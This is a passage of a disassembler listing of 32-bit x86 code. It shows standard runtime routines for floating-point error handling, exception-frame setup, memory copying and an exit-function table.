[ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2FC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8D4, offset sub_421935 mov off_43C8D0, eax mov off_43C8D8, offset sub_42199B mov off_43C8DC, offset sub_4218DB mov off_43C8E0, offset sub_421983 mov off_43C8E4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2D8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB354 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2DC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2DC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC95C call sub_422608 mov edx, dword_4DC95C pop ecx mov ecx, dword_4DC958 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC95C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC958 sub ecx, dword_4DC95C mov dword_4DC95C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC958, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC958, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC95C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC95C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC95C mov dword_4DC958, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr 